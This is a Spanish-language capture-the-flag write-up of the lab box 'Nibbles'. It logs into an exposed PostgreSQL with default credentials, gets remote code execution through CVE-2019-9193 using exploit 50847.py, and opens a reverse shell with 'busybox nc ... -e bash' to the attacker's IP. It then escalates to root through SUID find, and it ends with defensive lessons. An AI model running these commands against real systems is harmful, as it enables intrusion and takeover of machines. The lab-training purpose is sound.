Nibbles
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Nibbles expone un PostgreSQL en el puerto 5437 que acepta las credenciales por defectopostgres:postgres. Con acceso de superusuario, la cláusulaCOPY ... FROM PROGRAM(CVE-2019-9193) permite ejecutar comandos como el usuariopostgres; el exploit50847.pyautomatiza la reverse shell, que entra por un puerto de salida permitido (el 80). Ya dentro,linpeasseñala que/usr/bin/findtiene el bit SUID, así quefind -exec /bin/sh -p(GTFOBins) da una shell coneuid=0y, con ella, root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
ping -c 1 192.168.114.4764 bytes from 192.168.114.47: icmp_seq=1 ttl=61 time=31.1 msBarremos todos los puertos TCP y, sobre los abiertos, identificamos versiones:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.47PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
5437/tcp open postgresqlnmap -p21,22,80,5437 -sCV 192.168.114.47 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9El FTP y el Apache no llevan a nada útil (el web sirve la plantilla por defecto sin contenido). Lo llamativo es el PostgreSQL en el 5437: un gestor de base de datos expuesto a la red, y encima en un puerto no estándar, es casi siempre el camino.
PostgreSQL - TCP 5437
Antes de buscar exploits, probamos lo más barato: credenciales por defecto. El usuario postgres con contraseña postgres entra directamente.
psql -U postgres -h 192.168.114.47 -p 5437Password: postgres
psql (18.1 (Debian 18.1-1), server 11.7 (Debian 11.7-0+deb10u1))
Type "help" for help.
postgres=# \l
Name | Owner | Encoding | ...
-----------+----------+----------+----
postgres | postgres | UTF8 |
template0 | postgres | UTF8 |
template1 | postgres | UTF8 |
(3 rows)El servidor es la 11.7, y hemos entrado como superusuario (postgres). Esa combinación habilita un vector conocido:
searchsploit 'postgresql 11'
searchsploit -m multiple/remote/50847.pyPostgreSQL 9.3-11.7 - Remote Code Execution (RCE) (Authenticated) | multiple/remote/50847.pyShell como postgres
COPY ... FROM PROGRAM: RCE (CVE-2019-9193)
La técnica (CVE-2019-9193) no es un fallo de memoria sino el abuso de una función legítima: COPY ... FROM PROGRAM ejecuta un programa del sistema y vuelca su salida en una tabla, y solo está al alcance de un superusuario, que es justo lo que nos dan las credenciales por defecto. Por eso no hay escalada de privilegios aquí: el comando corre como postgres, el usuario del servicio.
Primero confirmamos la ejecución sin disparar todavía una shell: dejamos un tcpdump escuchando ICMP y pedimos al objetivo que nos haga ping. Si llegan los paquetes, la RCE es real.
tcpdump -i tun0 icmp
python3 50847.py -i 192.168.114.47 -p 5437 -d template1 -c "ping -c 4 192.168.45.227"
[+] Connection to Database established
[+] PostgreSQL version 11.7 is likely vulnerable
[+] Creating table _10af30c16d479e7200e8e40972088a68
[+] Command executed
PING 192.168.45.227 (192.168.45.227) 56(84) bytes of data.
4 packets transmitted, 4 received, 0% packet loss, time 8ms
[+] Deleting table _10af30c16d479e7200e8e40972088a68
22:44:35.783371 IP 192.168.114.47 > 192.168.45.227: ICMP echo request, id 3396, seq 1, length 64
22:44:35.783394 IP 192.168.45.227 > 192.168.114.47: ICMP echo reply, id 3396, seq 1, length 64Los cuatro echo request llegan desde la propia víctima: la ejecución es real, no una suposición por la versión. El exploit deja además una pista de su mecánica, ya que crea y borra una tabla temporal (_10af30c16d479e7200e8e40972088a68) para colar el comando, que es justo lo que hace el COPY ... FROM PROGRAM.
Confirmada la ejecución, cambiamos el comando por una reverse shell. Como en otras cajas de esta tanda, el retorno hacia un puerto alto no vuelve por el filtrado de salida, así que apuntamos al 80, que la máquina ya tiene abierto, con busybox nc. Dejamos Penelope a la escucha en el 80:
penelope 80Luego disparamos la reverse shell:
python3 50847.py -i 192.168.114.47 -p 5437 -d template1 -c "busybox nc 192.168.45.227 80 -e bash"
[+] Connecting to PostgreSQL Database on 192.168.114.47:5437
[+] Connection to Database established
[+] Checking PostgreSQL version
[+] PostgreSQL 11.7 is likely vulnerable
[+] Creating table _77456cb9a1eaa5cdd12ef78351b02bb4La shell entra como postgres. Leemos la primera prueba, que está en el home de wilson pero es legible por nuestro usuario:
cat /home/wilson/local.txt && whoami && hostname
654f3c5e880cd4474602ef4aa5db2417Escalada de privilegios
SUID en /usr/bin/find
Lo primero es enumerar los binarios SUID a mano, sin depender de ningún script:
find / -perm -4000 -type f 2>/dev/nullDestaca /usr/bin/find con el bit SUID activo y propietario root. Para confirmarlo con más contexto subimos también linpeas (repo), que lo resalta en el apartado de ficheros con permisos interesantes:
wget http://192.168.45.227/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh
╔══════════╣ Files with Interesting Permissions
╚ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 10K Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 427K Jan 31 2020 /usr/lib/openssh/ssh-keysign
...
-rwsr-xr-x 1 root root 63K Jan 10 2019 /usr/bin/su
-rwsr-xr-x 1 root root 309K Feb 16 2019 /usr/bin/find
-rwsr-xr-x 1 root root 154K Feb 2 2020 /usr/bin/sudo ---> check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 35K Jan 10 2019 /usr/bin/umount ---> BSD/Linux(08-1996)Un binario con SUID corre con el UID de su propietario (aquí root), no con el de quien lo lanza. find permite ejecutar comandos con -exec, y según GTFOBins eso basta para abrir una shell manteniendo el privilegio. La opción -p evita que bash deje caer el euid elevado:
/usr/bin/find . -exec /bin/sh -p \; -quit
# whoami && id
root
uid=106(postgres) gid=113(postgres) euid=0(root) groups=113(postgres),112(ssl-cert)El euid=0(root) confirma la escalada. Leemos la prueba final:
cat /root/proof.txt
f34ffed629528850b0a860ff87798bf5Cadena de ataque
PostgreSQL 11.7 expuesto (TCP 5437)
│ credenciales por defecto postgres:postgres (superusuario)
▼
COPY ... FROM PROGRAM ── CVE-2019-9193 ── RCE como postgres
│ busybox nc hacia el 80 (puerto de salida permitido)
▼
reverse shell como postgres (local.txt)
│ SUID en /usr/bin/find → find -exec /bin/sh -p
▼
shell con euid=0 → root (proof.txt)Lecciones aprendidas
- Las credenciales por defecto siguen siendo el camino más corto. Antes de montar exploits, probar
postgres:postgrescuesta un segundo y aquí abre la puerta entera. Cambiar las contraseñas por defecto y no exponer la base de datos a la red habría cerrado el vector. COPY ... PROGRAMes una función, no un fallo, pero con superusuario es RCE. PostgreSQL discute el CVE-2019-9193 porque la cláusula exige rol de superusuario; el problema real es conceder ese rol (o dejar las credenciales por defecto) a una cuenta accesible desde fuera. Una cuenta de aplicación con privilegios mínimos no podría usarla.- El filtrado de salida marca el puerto de retorno. El retorno por un puerto alto no volvía; apuntar la reverse shell a un puerto que la máquina ya tiene abierto (el 80) evita ese control.
- El bit SUID en un binario versátil es escalada directa.
find, con-exec, ejecuta cualquier comando con el privilegio del propietario. Revisarfind / -perm -4000y retirar el SUID de binarios que no lo necesitan es una medida básica de bastionado.